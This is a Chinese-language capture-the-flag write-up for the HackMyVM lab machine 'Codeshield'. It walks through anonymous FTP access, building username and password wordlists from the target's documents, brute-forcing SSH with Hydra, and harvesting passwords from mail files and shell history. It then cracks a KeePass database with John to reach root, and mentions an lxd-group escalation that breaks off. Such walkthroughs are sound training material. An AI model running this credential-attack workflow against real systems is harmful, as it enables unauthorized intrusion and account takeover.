2222/tcp  open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 32:14:67:32:02:7a:b6:e4:7f:a7:22:0b:02:fd:ee:07 (RSA)
|   256 34:e4:d0:5d:bd:bc:9e:3f:4c:f9:1e:7d:3c:60:ce:6e (ECDSA)
|_  256 ef:3c:ff:f9:9a:a3:aa:7d:5a:82:73:b9:8c:b8:97:04 (ED25519)
3389/tcp  open  ms-wbt-server xrdp
22222/tcp open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2a:49:28:84:25:99:62:e8:29:68:88:d6:36:be:8e:d6 (ECDSA)
|_  256 20:9f:5b:3f:52:eb:a9:60:27:39:3b:e7:d8:17:8d:70 (ED25519)
Service Info: Hosts: -mail.codeshield.hmv,  mail.codeshield.hmv; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据110/tcp   open  pop3          Dovecot pop3d&lt;/p&gt;
&lt;p&gt;| ssl-cert: Subject: commonName=mail.codeshield.hmv&lt;/p&gt;
&lt;h3&gt;添加hosts&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;192.168.0.100 mail.codeshield.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;21端口ftp-anonymous&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
└─# ftp 192.168.0.100
Connected to 192.168.0.100.
220 (vsFTPd 3.0.5)
Name (192.168.0.100:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; mget *
mget CodeShield_pitch_deck.pdf [anpqy?]? 
229 Entering Extended Passive Mode (|||65107|)
150 Opening BINARY mode data connection for CodeShield_pitch_deck.pdf (2349914 bytes).
100% |***************************************************************|  2294 KiB  147.58 MiB/s    00:00 ETA
226 Transfer complete.
2349914 bytes received in 00:00 (144.86 MiB/s)
mget Information_Security_Policy.pdf [anpqy?]? 
229 Entering Extended Passive Mode (|||46568|)
150 Opening BINARY mode data connection for Information_Security_Policy.pdf (67520 bytes).
100% |***************************************************************| 67520      314.10 MiB/s    00:00 ETA
226 Transfer complete.
67520 bytes received in 00:00 (124.06 MiB/s)
mget The_2023_weak_password_report.pdf [anpqy?]? 
229 Entering Extended Passive Mode (|||35440|)
150 Opening BINARY mode data connection for The_2023_weak_password_report.pdf (226435 bytes).
100% |***************************************************************|   221 KiB  182.69 MiB/s    00:00 ETA
226 Transfer complete.
226435 bytes received in 00:00 (146.60 MiB/s)
ftp&amp;gt; bye
221 Goodbye.
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 1：把 PDF 转成纯文本（&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;pdftotext CodeShield_pitch_deck.pdf pitch.txt   pdftotext Information_Security_Policy.pdf policy.txt   pdftotext The_2023_weak_password_report.pdf weakpass.txt&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Step 2：根据整理的文本做字典&lt;/h3&gt;
&lt;h4&gt;✅ 一、账号用户名列表（users.txt）&lt;/h4&gt;
&lt;p&gt;基于你给的 PDF、Pitch Deck、Policy 中的&lt;strong&gt;姓名规则与组织结构&lt;/strong&gt;，企业最常见三种格式：&lt;/p&gt;
&lt;h5&gt;🔹 格式 1：&lt;code&gt;first.last&lt;/code&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jessica.carlson
j.carlson
jcarlson
admin
administrator
itadmin
support
helpdesk
finance
invest
hr
ceo
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;🔹 格式 2：常见员工名（根据文档推断）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;jessica
carlson
codeshield
guest
test
user
info
sales
marketing
security
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 **保存为 **&lt;code&gt;**users.txt**&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4&gt;✅ 二、密码字典（pass.txt）&lt;/h4&gt;
&lt;h5&gt;🔐 1️⃣ 来自《Weak Password Report》的高命中组合&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Password123!
Password12345
Hairdresser1!
Greatplace2work!
Xxxxxxxxx001
Xxxxxxxxx002
Xxxxxxxxxx01
1qa2ws3ed4rf
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;🎬 2️⃣ 影视 / 流行文化（报告中明确提到）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Yoda123!
Starwars123
Loki2023!
Thor2023
Batman123!
Matrix123
Rocky2023
Ironman!
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;📅 3️⃣ 企业常见“年份 + 符号”&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Summer2023!
May2023!
August2023!
Winter2022!
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;👩‍💼 4️⃣ CEO / 管理层常见弱口令模式（非常真实）&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Jessica2023!
Carlson2023!
Jessica@123
Carlson@123
Welcome123!
Welcome@2023
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h5&gt;🧠 5️⃣ IT / 默认 / 服务账号&lt;/h5&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;admin123!
admin@123
Admin2023!
Root123!
P@ssw0rd
ChangeMe123!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;👉 **保存为 **&lt;code&gt;**passwd.txt**&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;22端口ssh-密码喷洒&lt;/h2&gt;
&lt;p&gt;上面做的字典喷洒失败了&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://mail.codeshield.hmv&quot;&gt;https://mail.codeshield.hmv&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Codeshield-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;提取人名作为字典&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Angelina Johnson
John Doe
Bob Watson
Jennifer Cruise
Jessica Carlson 
Mohammed Mansour 
Xian Tan 
Annabella Cocci 
Thomas Mitchell
Patrick Early
Kevin Valdez


Angelina
Johnson
John
Doe
Bob
Watson
Jennifer
Cruise
Jessica
Carlson 
Mohammed
Mansour 
Xian
Tan 
Annabella
Cocci 
Thomas
Mitchell
Patrick
Early
Kevin
Valdez

angelina
johnson
john
doe
bob
watson
jennifer
cruise
jessica
carlson 
mohammed
mansour 
xian
tan 
annabella
cocci 
thomas
mitchell
patrick
early
kevin
valdez
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续爆破&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[22][ssh] host: 192.168.0.100   password: Password123!
[STATUS] attack finished for 192.168.0.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-12 03:44:18
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;？？？wdf&lt;/p&gt;
&lt;h2&gt;22端口ssh-登录&lt;/h2&gt;
&lt;p&gt;直接ssh登录试试&lt;/p&gt;
&lt;p&gt;root/Password123!&lt;/p&gt;
&lt;p&gt;还真登录进去了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
└─# ssh 192.168.0.100     
The authenticity of host &amp;#39;192.168.0.100 (192.168.0.100)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:p41YgA92zNuiXv+R9wkRqYw3Z4EChD83xgSfLoouuFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;192.168.0.100&amp;#39; (ED25519) to the list of known hosts.
root@192.168.0.100&amp;#39;s password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@svr04:~#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;搜了一圈没发现什么&lt;/p&gt;
&lt;h2&gt;22222端口ssh-爆破&lt;/h2&gt;
&lt;h3&gt;🔴 OpenSSH 6.0p1（22 端口）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;发布年份：&lt;strong&gt;2012&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;对应系统：Debian 7（Wheezy）&lt;/li&gt;
&lt;li&gt;特点：&lt;ul&gt;
&lt;li&gt;支持很多 &lt;strong&gt;已废弃的加密算法&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;不支持或默认不启用现代安全特性&lt;/li&gt;
&lt;li&gt;存在大量&lt;strong&gt;历史安全问题&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;现实意义：&lt;ul&gt;
&lt;li&gt;经常用于 &lt;strong&gt;老系统 / legacy 服务&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;在安全审计中通常是 &lt;strong&gt;高风险项&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;📌 你看到它本身，就已经是一个&lt;strong&gt;安全红旗&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;🟢 OpenSSH 8.9p1（22222 端口）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;发布年份：2022+&lt;/li&gt;
&lt;li&gt;对应系统：Ubuntu（较新 LTS）&lt;/li&gt;
&lt;li&gt;特点：&lt;ul&gt;
&lt;li&gt;默认禁用弱算法（如 &lt;code&gt;ssh-rsa&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;强制更安全的密钥交换&lt;/li&gt;
&lt;li&gt;对暴力破解和中间人攻击防护更好&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;使用非 22 端口：&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不是安全手段&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;只是减少无脑扫描噪音&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;📌 这是“现代标准 SSH”&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]  
└─# hydra -L users.txt -P passwd.txt ssh://192.168.0.100 -f -V -s 22222 
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-12 03:54:47 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得了还是爆破不出来&lt;/p&gt;
&lt;h2&gt;用户名字典生成&lt;/h2&gt;
&lt;p&gt;通过看wp得知一款工具&lt;/p&gt;
&lt;p&gt;现在用&lt;a href=&quot;https://github.com/urbanadventurer/username-anarchy&quot;&gt;&lt;strong&gt;username-anarchy&lt;/strong&gt;&lt;/a&gt;工具，生成了一个包含潜在用户的更大列表。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]  
└─# cat users.txt
Angelina Johnson 
John Doe 
Bob Watson 
Jennifer Cruise 
Jessica Carlson  
Mohammed Mansour  
Xian Tan  
Annabella Cocci  
Thomas Mitchell 
Patrick Early 
Kevin Valdez 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/tools/username-anarchy]
└─# ./username-anarchy --input-file ../../hmv/Codeshield/users.txt &amp;gt; anarchy_users
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
└─# hydra -L anarchy_users -P passwd.txt ssh://192.168.0.100 -f -s 22222 -V  
Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-12 04:35:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 5115 login tries (l:155/p:33), ~320 tries per task
[DATA] attacking ssh://192.168.0.100:22222/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后爆破出来为valdezk/Greatplace2work!&lt;/p&gt;
&lt;h2&gt;valdezk登录&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
└─# ssh valdezk@192.168.0.100 -p 22222
The authenticity of host &amp;#39;[192.168.0.100]:22222 ([192.168.0.100]:22222)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:Y+iV2eHvzSBp6ZbF+2VqTJdZ5+XyH5tVaxNCzS7tp3I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;[192.168.0.100]:22222&amp;#39; (ED25519) to the list of known hosts.
             @@@                            
      @@@@@@@@@  @@@@@@                     
 @@@@@@@@@@@@@@          (@@                
 @@@@@@@@@@@@@@           @@    ██████╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗██╗███████╗██╗     ██████╗                                   
 @@@@@@@@@@@@@@           @@   ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗             
  @@@@@@@@@@@@@          @@    ██║     ██║   ██║██║  ██║█████╗  ███████╗███████║██║█████╗  ██║     ██║  ██║             
  @@@@@@@@@@@@@         @@@    ██║     ██║   ██║██║  ██║██╔══╝  ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║             
    @@@@@@@@@@@        @@      ╚██████╗╚██████╔╝██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝             
     @@@@@@@@@@      @@@        ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝              
        @@@@@@@   @@@                       
           @@@@@@@                                                           

  _______________________________________________________________________________________________________
 |  _WARNING: This system is restricted to authorized users!___________________________________________  |
 | |                                                                                                   | |
 | | IT IS AN OFFENSE TO CONTINUE WITHOUT PROPER AUTHORIZATION.                                        | |
 | |                                                                                                   | |
 | | This system is restricted to authorized users.                                                    | | 
 | | Individuals who attempt unauthorized access will be prosecuted.                                   | | 
 | | If you&amp;#39;re unauthorized, terminate access now!                                                     | | 
 | |                                                                                                   | |
 | |                                                                                                   | |
 | |___________________________________________________________________________________________________| |
 |_______________________________________________________________________________________________________|
valdezk@192.168.0.100&amp;#39;s password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-79-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jan 12 09:38:38 AM UTC 2026

  System load:  0.01416015625      Processes:               235
  Usage of /:   29.3% of 47.93GB   Users logged in:         0
  Memory usage: 58%                IPv4 address for enp0s3: 192.168.0.100
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

10 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release &amp;#39;24.04.3 LTS&amp;#39; available.
Run &amp;#39;do-release-upgrade&amp;#39; to upgrade to it.


valdezk@codeshield:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;权限提升&lt;/h1&gt;
&lt;h2&gt;用户mitchellt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;valdezk@codeshield:~$ grep -ri password
[...]
.thunderbird/fx2h7mhy.default-release/ImapMail/mail.codeshield.hmv/Trash:Password: D@taWh1sperer!
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hydra -L anarchy_users -p &amp;#39;D@taWh1sperer!&amp;#39; ssh://192.168.0.100 -s 22222 -f -V

[ATTEMPT] target 192.168.0.100 - login &amp;quot;mitchellt&amp;quot; - pass &amp;quot;D@taWh1sperer!&amp;quot; - 122 of 156 [child 11] (0/1)
[22222][ssh] host: 192.168.0.100   login: mitchellt   password: D@taWh1sperer!
[STATUS] attack finished for 192.168.0.100 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-12 04:48:23
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过爆破得出用户是mitchellt&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;valdezk@codeshield:~$ su mitchellt
Password: 
mitchellt@codeshield:/home/valdezk$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mitchellt@codeshield:/home$ cd ~
mitchellt@codeshield:~$ cat user.txt 
             @@@                            
      @@@@@@@@@  @@@@@@                     
 @@@@@@@@@@@@@@          (@@                
 @@@@@@@@@@@@@@           @@    ██████╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗██╗███████╗██╗     ██████╗  
 @@@@@@@@@@@@@@           @@   ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗ 
  @@@@@@@@@@@@@          @@    ██║     ██║   ██║██║  ██║█████╗  ███████╗███████║██║█████╗  ██║     ██║  ██║ 
  @@@@@@@@@@@@@         @@@    ██║     ██║   ██║██║  ██║██╔══╝  ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║ 
    @@@@@@@@@@@        @@      ╚██████╗╚██████╔╝██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝ 
     @@@@@@@@@@      @@@        ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝  
        @@@@@@@   @@@                       
           @@@@@@@                          

  _______________________________________________________________________________________________________
 |  _USER FLAG!________________________________________________________________________________________  |
 | |                                                                                                   | |
 | | Your_password_is_the_key_to_your_digital_life                                                     | |
 | |                                                                                                   | |
 | |___________________________________________________________________________________________________| |
 |_______________________________________________________________________________________________________| 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;用户earlyp&lt;/h2&gt;
&lt;p&gt;earlyp/EARL!YP7DeVel@OP&lt;/p&gt;
&lt;p&gt;利用mitchellt翻查history中发现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mitchellt@codeshield:/home$ history
    1  echo &amp;#39;EARL!YP7DeVel@OP&amp;#39;| su - earlyp -c &amp;quot;cp -r /home/earlyp/Development/mining .&amp;quot;
    2  echo &amp;#39;EARL!YP7DeVel@OP&amp;#39;| su - earlyp -c &amp;quot;cp -r /home/earlyp/Development/mining /tmp&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权root&lt;/h2&gt;
&lt;h3&gt;(方法一:kdbx文件)&lt;/h3&gt;
&lt;p&gt;信息搜集可以找到一个&lt;code&gt;.kdbx&lt;/code&gt;文件，破解一下即可得到root密码：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain earlyp@codeshield:~$ grep -Pnir password &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;找到一个密码文件：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain .cache/keepassxc/keepassxc.ini:2:LastActiveDatabase=/home/earlyp/Documents/Passwords.kdbx .cache/keepassxc/keepassxc.ini:4:LastDatabases=/home/earlyp/Documents/Passwords.kdbx .cache/keepassxc/keepassxc.ini:6:LastOpenedDatabases=/home/earlyp/Documents/Passwords.kdbx &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;拷贝到本地进行破解：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;earlyp@codeshield:~$ cd Documents
earlyp@codeshield:~/Documents$ ls
Passwords.kdbx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| &lt;code&gt;plain ┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield] └─# scp -P 22222 earlyp@192.168.0.100:~/Documents/Passwords.kdbx .                @@@                                   @@@@@@@@@  @@@@@@                       @@@@@@@@@@@@@@          (@@                  @@@@@@@@@@@@@@           @@    ██████╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗██╗███████╗██╗     ██████╗                                     @@@@@@@@@@@@@@           @@   ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗                @@@@@@@@@@@@@          @@    ██║     ██║   ██║██║  ██║█████╗  ███████╗███████║██║█████╗  ██║     ██║  ██║                @@@@@@@@@@@@@         @@@    ██║     ██║   ██║██║  ██║██╔══╝  ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║                  @@@@@@@@@@@        @@      ╚██████╗╚██████╔╝██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝                   @@@@@@@@@@      @@@        ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝                       @@@@@@@   @@@                                   @@@@@@@                                                               _______________________________________________________________________________________________________  |  _WARNING: This system is restricted to authorized users!___________________________________________  |  | |                                                                                                   | |  | | IT IS AN OFFENSE TO CONTINUE WITHOUT PROPER AUTHORIZATION.                                        | |  | |                                                                                                   | |  | | This system is restricted to authorized users.                                                    | |   | | Individuals who attempt unauthorized access will be prosecuted.                                   | |   | | If you&amp;#39;re unauthorized, terminate access now!                                                     | |   | |                                                                                                   | |  | |                                                                                                   | |  | |___________________________________________________________________________________________________| |  |_______________________________________________________________________________________________________| earlyp@192.168.0.100&amp;#39;s password:  Passwords.kdbx                                                            100% 1918   878.7KB/s   00:00  ┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield] └─# keepass2john Passwords.kdbx &amp;gt; hash                                                                                                              ┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield] └─# john hash --wordlist=pass  Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 3225806 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 4 OpenMP threads fopen: pass: No such file or directory                                                                                                              ┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield] └─# john hash --wordlist=../../wordlists/kali/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [SHA256 AES 32/64]) Cost 1 (iteration count) is 3225806 for all loaded hashes Cost 2 (version) is 2 for all loaded hashes Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes Will run 4 OpenMP threads Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status &lt;/code&gt;  |
| --- |&lt;/p&gt;
&lt;p&gt;那只能&lt;code&gt;rockyou&lt;/code&gt;了，这里快速剽窃了一下密码：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain mandalorian &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;去在线的管理器上打开文件看一下密码：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://app.keeweb.info/&quot;&gt;https://app.keeweb.info/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Codeshield-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain root:7%z5,c9=w6[x8= &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;切换用户拿到rootshell！&lt;/p&gt;
&lt;p&gt;| &lt;code&gt;plain earlyp@codeshield:~/Documents$ su - root Password:  root@codeshield:~# ls -la total 92 drwx------  9 root root 4096 Aug 26  2023 . drwxr-xr-x 19 root root 4096 Aug 22  2023 .. -rw-------  1 root root    0 Aug 30  2023 .bash_history -rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc drwx------  2 root root 4096 Aug 28  2023 .cache drwxr-xr-x  2 root root 4096 Aug 26  2023 cowrie drwxr-xr-x  3 root root 4096 Aug 26  2023 .iredmail drwx------  3 root root 4096 Aug 23  2023 .launchpadlib -rw-------  1 root root   20 Aug 23  2023 .lesshst drwxr-xr-x  3 root root 4096 Aug 22  2023 .local -r--------  1 root root   45 Aug 26  2023 .my.cnf -rw-r--r--  1 root root   91 Aug 26  2023 .my.cnf-amavisd -rw-r--r--  1 root root   92 Aug 26  2023 .my.cnf-fail2ban -rw-r--r--  1 root root   93 Aug 26  2023 .my.cnf-iredadmin -rw-r--r--  1 root root   91 Aug 26  2023 .my.cnf-iredapd -rw-r--r--  1 root root   93 Aug 26  2023 .my.cnf-roundcube -r--------  1 root root   89 Aug 26  2023 .my.cnf-vmail -r--------  1 root root   94 Aug 26  2023 .my.cnf-vmailadmin -rw-r--r--  1 root root  161 Jul  9  2019 .profile -rw-r--r--  1 root root 2528 Aug 26  2023 root.txt -rw-r--r--  1 root root   66 Aug 26  2023 .selected_editor drwx------  4 root root 4096 Aug 22  2023 snap drwx------  2 root root 4096 Aug 22  2023 .ssh -rw-r--r--  1 root root    0 Aug 22  2023 .sudo_as_admin_successful -rw-r--r--  1 root root  290 Aug 26  2023 .wget-hsts root@codeshield:~# cat root.txt                @@@                                   @@@@@@@@@  @@@@@@                       @@@@@@@@@@@@@@          (@@                  @@@@@@@@@@@@@@           @@    ██████╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗██╗███████╗██╗     ██████╗                                     @@@@@@@@@@@@@@           @@   ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗                @@@@@@@@@@@@@          @@    ██║     ██║   ██║██║  ██║█████╗  ███████╗███████║██║█████╗  ██║     ██║  ██║                @@@@@@@@@@@@@         @@@    ██║     ██║   ██║██║  ██║██╔══╝  ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║                  @@@@@@@@@@@        @@      ╚██████╗╚██████╔╝██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝                   @@@@@@@@@@      @@@        ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝                       @@@@@@@   @@@                                   @@@@@@@                                                               _______________________________________________________________________________________________________  |  _ROOT FLAG!________________________________________________________________________________________  |  | |                                                                                                   | |  | | Educate_your_employees_on_password_safety                                                         | |  | |                                                                                                   | |  | |___________________________________________________________________________________________________| |  |_______________________________________________________________________________________________________| &lt;/code&gt;  |
| --- |&lt;/p&gt;
&lt;h3&gt;(方法2:lxd)&lt;/h3&gt;
&lt;p&gt;原因是一个特殊的lxd组权限：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;plain earlyp@codeshield:~$ id uid=1000(earlyp) gid=1000(earlyp) groups=1000(earlyp),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd) &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;参考：&lt;/p&gt;
